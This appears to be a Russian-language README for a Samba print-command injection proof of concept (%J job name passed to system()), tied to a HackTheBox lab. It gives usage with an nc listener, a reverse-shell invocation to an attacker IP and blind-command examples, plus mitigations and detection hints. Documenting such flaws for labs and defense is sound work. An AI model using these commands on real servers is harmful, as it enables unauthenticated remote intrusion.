
%J) Samba — PoCВажно — прочтите сначала:
Этот репозиторий иexploit.pyпредоставлены только в образовательных и исследовательских целях. Не используйте этот код против систем, сетей или сервисов, на которые у вас нет явного письменного разрешения. Несанкционированный доступ к компьютерным системам незаконен и неэтичен. Используя этот код, вы соглашаетесь соблюдать применимые законы и правила учреждений.
Неаутентифицированное удалённое выполнение команд в подсистеме печати Samba. Когда задание печати завершает спулинг, Samba выполняет настроенную print command через system(), подставляя %s (путь к файлу спула) и %J (имя задания, указанное клиентом) в строку. До исправления имя задания передавалось только с преобразованием ' → _ и больше ничем, поэтому |, ;, &, пробелы, <, > и обратные кавычки доходили до шелла. Таким образом, print command, ссылающаяся на %J, является точкой инъекции в шелл, и поскольку гости могут отправлять задания на печать, проблема возникает до аутентификации.
print command, которая ссылается на %J
(в стиле printing = sysv). Режимы printing = cups / iprint работают через CUPS API и
не затронуты.sudo apt install python3-samba
print command ссылается на %J.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
# terminal 1: listener
nc -lvnp 4444
# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
Вы должны получить оболочку от учётной записи службы печати (например, nobody).
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Поскольку выполнение происходит вслепую (команда выполняется на стороне сервера и ничего не возвращает по RPC-каналу), сначала подтвердите его внеполосным способом, например, ICMP-колбэком, который вы наблюдаете через tcpdump -ni tun0 icmp:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J',
уберите %J или перейдите на printing = cups.smbd, порождающий оболочки (sh/bash/nc/python/curl), и имена документов,
содержащие шелл-метасимволы.Я создал машину на HackTheBox под названием Abducted, чтобы продемонстрировать эту уязвимость и дать вам практический пример того, как атакующие могут использовать её в некорректно настроенном окружении.
| Аргумент / опция | Значение |
|---|
rhost | Целевой хост / IP Samba |
lhost | IP вашего слушателя |
lport | Порт вашего слушателя |
-P, --printer | Имя гостевой общей папки принтера (по умолчанию: HP-Reception) |
-c, --cmd | Выполнить произвольную команду вместо reverse shell |